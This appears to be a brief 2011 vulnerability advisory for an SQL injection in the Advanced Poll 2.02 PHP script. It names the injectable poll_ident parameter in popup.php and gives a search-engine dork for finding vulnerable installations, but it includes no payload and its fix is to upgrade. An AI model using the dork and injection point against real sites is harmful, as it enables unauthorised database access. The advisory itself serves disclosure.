21 lines
No EOL
1 KiB
Text
21 lines
No EOL
1 KiB
Text
##############################################################################################################
|
|
[+] Title : Advanced Poll 2.02 SQL Injection Vulnerability
|
|
[+] Affected Version : v2.02
|
|
[+] Software Link : http://www.electrolized.free.fr/scripts-php/pollphp.zip
|
|
[+] Tested on : Windows 7 <Firefox>
|
|
[+] Date : 15/10/2011
|
|
[+] Dork : inurl:/db/admin intitle:Advanced Poll 2.02
|
|
[+] Category : Webapps
|
|
[+] Severity : High
|
|
[+] Author : Yassin Aboukir
|
|
[+] Site : http://www.yaboukir.com
|
|
###############################################################################################################
|
|
|
|
[+] About the software : Sondage très puissant, gestion de plusieurs sondage, interface d'administration.
|
|
Ce script utilise soit un fichier texte soit une base de donnée.
|
|
|
|
[+] How that can be exploited :
|
|
|
|
http://localhost/path/db/db/popup.php?action=results&poll_ident=1 [SQL Me]
|
|
|
|
[+] Fix : upgrade to last release. |